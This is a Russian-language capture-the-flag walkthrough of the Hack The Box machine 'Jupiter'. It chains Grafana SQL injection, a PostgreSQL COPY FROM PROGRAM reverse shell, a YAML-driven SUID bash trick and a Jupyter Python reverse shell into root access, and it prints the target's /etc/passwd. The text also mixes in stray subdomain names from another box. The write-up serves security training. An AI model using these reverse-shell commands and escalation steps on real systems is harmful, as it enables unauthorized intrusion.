Сложность: | Medium |
ОС: | Linux |
Баллы: | 30 |
IP: | 10.10.11.216 |
Теги: | SQLi, PostrgeSQL, LPE, Jupyter RCE, Linux Privileges |
После первичной разведки веб-приложения мы обнаруживаем дополнительный поддомен с возможностью внедрения SQLi
. С помощью синтаксиса PostgreSQL
и вследствие прав суперпользователя при взаимодействии с СУБД получим удалённый доступ от лица пользователя postrges. С помощью редактирования конфигурационных файлов утилиты /home/juno/.local/bin/shadow
получим доступ к пользователю juno и добудем его флаг. Далее, получив доступ в Jupyter Notebook
выполним код на Python, который позволит нам получить доступ на удалённой машине от пользователя jovian. После этого были обнаружены повышенные права на исполнение /usr/local/bin/sattrack
, скопируем /bin/bash
в него, запустим и в конечном счёте получим флаг пользователя root.
Проведём первичное сканирование цели:
nmap -sS -p- 10.10.11.216
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Просканируем более подробно: nmap -sVC -O -p22,80 10.10.11.216
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 ac:5b:be:79:2d:c9:7a:00:ed:9a:e6:2b:2d:0e:9b:32 (ECDSA)
|_ 256 60:01:d7:db:92:7b:13:f0:ba:20:c6:c9:00:a7:1b:41 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://jupiter.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Добавим домен в /etc/hosts
:
# HTB
10.10.11.216 jupiter.htb
Просканируем директории доступные на jupiter.htb:
gobuster dir -u http://jupiter.htb -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -k
Получим следующий результат:
/img (Status: 301) [Size: 178] [--> http://jupiter.htb/img/]
/css (Status: 301) [Size: 178] [--> http://jupiter.htb/css/]
/js (Status: 301) [Size: 178] [--> http://jupiter.htb/js/]
/fonts (Status: 301) [Size: 178] [--> http://jupiter.htb/fonts/]
/Source (Status: 301) [Size: 178] [--> http://jupiter.htb/Source/]
/sass (Status: 301) [Size: 178] [--> http://jupiter.htb/sass/]
Исследовав содержимое веб-сервиса придём к тому, что это некий сайт обсерватории.
Далее осуществим сканирование поддоменов доступных в сервисе на предмет полезного лута, для этого можем использовать любой другой сканер на ваше усмотрение:
ffuf -u http://jupiter.htb/ -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "HOST:FUZZ.jupiter.htb" -mc all -fw 6
Получаем следующий результат сканирования:
[Status: 200, Size: 2191, Words: 370, Lines: 52, Duration: 106ms]
* FUZZ: kiosk
Добавим также поддомен beta в файл hosts и проведём разведку его содержимого:
# HTB
10.10.11.216 jupiter.htb kiosk.jupiter.htb
Переходим к сервису beta.only4you.htb:
Исходя из названия поддомена и содержимого можно сделать вывод, что это интерактивный киоск для очных посетителей обсерватории. Также осуществим сканирование доступных директорий в этом поддомене киоска:
gobuster dir -u http://kiosk.jupiter.htb -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -k
Получаем следующий результат сканирования:
/login (Status: 200) [Size: 34390]
/profile (Status: 302) [Size: 29] [--> /login]
/signup (Status: 200) [Size: 34390]
/public (Status: 302) [Size: 31] [--> /public/]
/admin (Status: 302) [Size: 24] [--> /]
/plugins (Status: 302) [Size: 24] [--> /]
/live (Status: 302) [Size: 24] [--> /]
/org (Status: 302) [Size: 24] [--> /]
/logout (Status: 302) [Size: 29] [--> /login]
/explore (Status: 302) [Size: 24] [--> /]
/monitoring (Status: 200) [Size: 34390]
/verify (Status: 200) [Size: 34390]
/metrics (Status: 200) [Size: 111261]
/configuration (Status: 302) [Size: 24] [--> /]
/connections (Status: 302) [Size: 24] [--> /]
/styleguide (Status: 200) [Size: 34390]
/playlists (Status: 200) [Size: 34390]
/alerting (Status: 200) [Size: 34390]
Обратим внимание также на возможность авторизации на kiosk.jupiter.htb
:
Внизу страницы можно заметить версию Grafana v9.5.2 (cfcea75916)
– система мониторинга и визуализации данных.
В процессе анализа POST запросов, отправляемых на kiosk.jupiter.htb/api/ds/query было обнаружено, что в теле запроса используется конструкция на языке SQL:
Отправка запросов в таком виде является нормальной для сервисов, построенных на Grafana, но, только в тех случаях, когда пользователь авторизован. Мы же можем взаимодействовать с СУБД Postgres не авторизовавшись. Сохраним этот запрос и проведём атаку с помощью SQLMap:
sqlmap -r req.txt --dbs
Получили следующую информацию:
[12:15:07] [INFO] the back-end DBMS is PostgreSQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.18.0
back-end DBMS: PostgreSQL
[12:15:07] [INFO] fetching database (schema) names
available databases [3]:
[*] information_schema
[*] pg_catalog
[*] public
Поскольку мы знаем, что СУБД – PosrtgreSQL можно сформировать ряд запросов и собрать больше информации о целевой машине с помощью следующих запросов:
select version()
->PostgreSQL 14.8 (Ubuntu 14.8-0ubuntu0.22.04.1) on x86_64-pc-linux-gnu, compiled by gcc (Ubuntu 11.3.0-1ubuntu1~22.04.1) 11.3.0, 64-bit
select current_user
->grafana_viewer
select datname FROM pg_database
->postgres, moon_namesdb, template1, template0
SELECT usesuper FROM pg_user WHERE usename = CURRENT_USER;
->true
CREATE TABLE test123(t TEXT); COPY test123 FROM '/etc/passwd'; SELECT * FROM test123;
->
"root:x:0:0:root:/root:/bin/bash",
"daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin",
"bin:x:2:2:bin:/bin:/usr/sbin/nologin",
"sys:x:3:3:sys:/dev:/usr/sbin/nologin",
"sync:x:4:65534:sync:/bin:/bin/sync",
"games:x:5:60:games:/usr/games:/usr/sbin/nologin",
"man:x:6:12:man:/var/cache/man:/usr/sbin/nologin",
"lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin",
"mail:x:8:8:mail:/var/mail:/usr/sbin/nologin",
"news:x:9:9:news:/var/spool/news:/usr/sbin/nologin",
"uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin",
"proxy:x:13:13:proxy:/bin:/usr/sbin/nologin",
"www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin",
"backup:x:34:34:backup:/var/backups:/usr/sbin/nologin",
"list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin",
"irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin",
"gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin",
"nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin",
"_apt:x:100:65534::/nonexistent:/usr/sbin/nologin",
"systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin",
"systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin",
"messagebus:x:103:104::/nonexistent:/usr/sbin/nologin","systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin",
"pollinate:x:105:1::/var/cache/pollinate:/bin/false",
"sshd:x:106:65534::/run/sshd:/usr/sbin/nologin",
"syslog:x:107:113::/home/syslog:/usr/sbin/nologin",
"uuidd:x:108:114::/run/uuidd:/usr/sbin/nologin",
"tcpdump:x:109:115::/nonexistent:/usr/sbin/nologin",
"tss:x:110:116:TPM software stack,,,:/var/lib/tpm:/bin/false",
"landscape:x:111:117::/var/lib/landscape:/usr/sbin/nologin",
"usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin",
"juno:x:1000:1000:juno:/home/juno:/bin/bash",
"lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false",
"fwupd-refresh:x:113:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin",
"postgres:x:114:120:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash",
"grafana:x:115:121::/usr/share/grafana:/bin/false",
"jovian:x:1001:1002:,,,:/home/jovian:/bin/bash",
"_laurel:x:998:998::/var/log/laurel:/bin/false"
Проанализируем собранные данные: получена версия PostgreSQL, обнаружены таблицы базы данных, выяснено имя текущего пользователя и то, что он обладает правами суперпользователя, получен список локальных пользователей целевой машины: root, juno, jovian, postgres
.
Воспользовавшись информацией о СУБД PostgreSQL и тем, что текущий пользователь является суперпользователем – мы можем создать таблицу, с помощью которой сможем исполнять команды на целевой машине, отправим в теле запроса к /api/ds/query
следующий SQL запрос:
CREATE TABLE cmd_exec(cmd_output text); COPY cmd_exec FROM PROGRAM 'bash -c \"bash -i >& /dev/tcp/yourIP/7331 0>&1\"'
Перед отправкой запроса с помощью nc -nvlp 7331
откроем порт для подключения и получим шелл от пользователя postgres
:
Загрузим на целевую машину скрипт сбора информации LinPEAS
и инструмент анализа процессов pspy64
.
С помощью LinPEAS
мы обнаружим, что от пользователя jovian
запущена утилита jupiter-notebook
:
jovian 1159 0.0 1.6 81344 66492 ? S Jun15 0:00 /usr/bin/python3 /usr/local/bin/jupyter-notebook --no-browser /opt/solar-flares/flares.ipynb
Следующий вывод получим после запуска pspy64:
2023/06/15 12:48:01 CMD: UID=1000 PID=1842 | /bin/sh -c /home/juno/shadow-simulation.sh
2023/06/15 12:48:01 CMD: UID=1000 PID=1843 | /bin/bash /home/juno/shadow-simulation.sh
2023/06/15 12:48:01 CMD: UID=1000 PID=1845 | /home/juno/.local/bin/shadow /dev/shm/network-simulation.yml
2023/06/15 12:48:01 CMD: UID=1000 PID=1848 |
2023/06/15 12:48:01 CMD: UID=1000 PID=1849 | lscpu --online --parse=CPU,CORE,SOCKET,NODE
2023/06/15 12:48:01 CMD: UID=1000 PID=1854 | /home/juno/.local/bin/shadow /dev/shm/network-simulation.yml
2023/06/15 12:48:01 CMD: UID=1000 PID=1855 | /usr/bin/curl -s server
2023/06/15 12:48:01 CMD: UID=1000 PID=1857 | /usr/bin/curl -s server
2023/06/15 12:48:01 CMD: UID=1000 PID=1859 | /home/juno/.local/bin/shadow /dev/shm/network-simulation.yml
2023/06/15 12:48:01 CMD: UID=1000 PID=1864 | cp -a /home/juno/shadow/examples/http-server/network-simulation.yml /dev/shm/
Как можем заметить – пользователь juno
запускает shadow
с параметром в виде файла /dev/shm/network-simulation.yml
. Исследуем содержимое файла и посмотрим каким образом можно его использовать:
general:
# stop after 10 simulated seconds
stop_time: 10s
# old versions of cURL use a busy loop, so to avoid spinning in this busy
# loop indefinitely, we add a system call latency to advance the simulated
# time when running non-blocking system calls
model_unblocked_syscall_latency: true
network:
graph:
# use a built-in network graph containing
# a single vertex with a bandwidth of 1 Gbit
type: 1_gbit_switch
hosts:
# a host with the hostname 'server'
server:
network_node_id: 0
processes:
- path: /usr/bin/python3
args: -m http.server 80
start_time: 3s
# three hosts with hostnames 'client1', 'client2', and 'client3'
client:
network_node_id: 0
quantity: 3
processes:
- path: /usr/bin/curl
args: -s server
start_time: 5s
Текущий пользователь postgres обладает правами на запись в этот файл и мы моем модифицировать его следующим образом, чтобы сначала c помощью его последовательно скопировать бинарный файл /bin/bash
, а затем присвоить ему привилегии SUID:
general:
# stop after 10 simulated seconds
stop_time: 10s
# old versions of cURL use a busy loop, so to avoid spinning in this busy
# loop indefinitely, we add a system call latency to advance the simulated
# time when running non-blocking system calls
model_unblocked_syscall_latency: true
network:
graph:
# use a built-in network graph containing
# a single vertex with a bandwidth of 1 Gbit
type: 1_gbit_switch
hosts:
# a host with the hostname 'server'
server:
network_node_id: 0
processes:
- path: /usr/bin/python3
args: -m http.server 80
start_time: 3s
# three hosts with hostnames 'client1', 'client2', and 'client3'
client:
network_node_id: 0
quantity: 3
processes:
- path: /usr/bin/cp
args: /bin/bash /tmp/user
start_time: 5s
После того, как в папку будет копирован бинарный файл – аналогичным образом редактируем SUID бит:
general:
# stop after 10 simulated seconds
stop_time: 10s
# old versions of cURL use a busy loop, so to avoid spinning in this busy
# loop indefinitely, we add a system call latency to advance the simulated
# time when running non-blocking system calls
model_unblocked_syscall_latency: true
network:
graph:
# use a built-in network graph containing
# a single vertex with a bandwidth of 1 Gbit
type: 1_gbit_switch
hosts:
# a host with the hostname 'server'
server:
network_node_id: 0
processes:
- path: /usr/bin/cp
args: /bin/bash /tmp/user
start_time: 3s
# three hosts with hostnames 'client1', 'client2', and 'client3'
client:
network_node_id: 0
quantity: 3
processes:
- path: /usr/bin/chmod
args: u+s /tmp/user
start_time: 5s
Перейдём в этот шелл с помощью ./tmp/user -p
, затем для стабильного подключения по ssh скопируем свой публичный ключ в папку /home/juno/.ssh/authorized_keys
, в результате чего мы сможем подключаться со своим личным приватным ключом к целевой машине.
Ранее, в процессе сбора сведений о целевой машине, мы обнаружили, что пользователь jovian запускал сервис jupyter-notebook
. По умолчанию этот сервис работает на порте 8888, проверим какие порты открыты на целевой машине с помощью netstat -tlpn
:
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:3000 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8888 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:5432 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
Для удобства взаимодействия с jupyter проксируем порт 8888 на свою локальную машину: ssh juno@10.10.11.216 -i key -L 8888:127.0.0.1:8888
Вернувшись снова к ранее собранным данным подметим директорию, в которой хранится файл jupyter-notebook
, а именно /opt/solar-flares/
. Исследуя соседние папки – найдём папку logs
. В ней содержатся логи запуска сервиса, откуда мы узнаем версию Jupyter и токен:
Воспользуемся этим токеном для авторизации в jupyter:
С помощью Jupyter мы можем выполнять код на языке Python. Создадим новое пространство и выполним следующий код:
import os; os.system(‘bash -c “bash -i >& /dev/tcp/yourIP/7771 0>&1″‘);
Получили доступ к локальной учётной записи jovian
. Для удобства и на случай если возникнут проблемы с сетью – скопируем публичный ключ в папку /home/jovian/.ssh/authorized_keys
, чтобы в дальнейшем по нему подключаться по ssh.
Ищем исполнимые файлы с возможностью запуска с привилегиями пользователя root:
sudo -l
В таком случае мы можем скопировать /bin/bash
в /usr/local/bin/sattrack
:
cp /bin/bash /usr/local/bin/sattrack
После чего выполним скопированный бинарный файл: sudo /usr/local/bin/sattrack
Получили доступ к пользователю root и его флагу.
https://medium.com/r3d-buck3t/command-execution-with-postgresql-copy-command-a79aef9c2767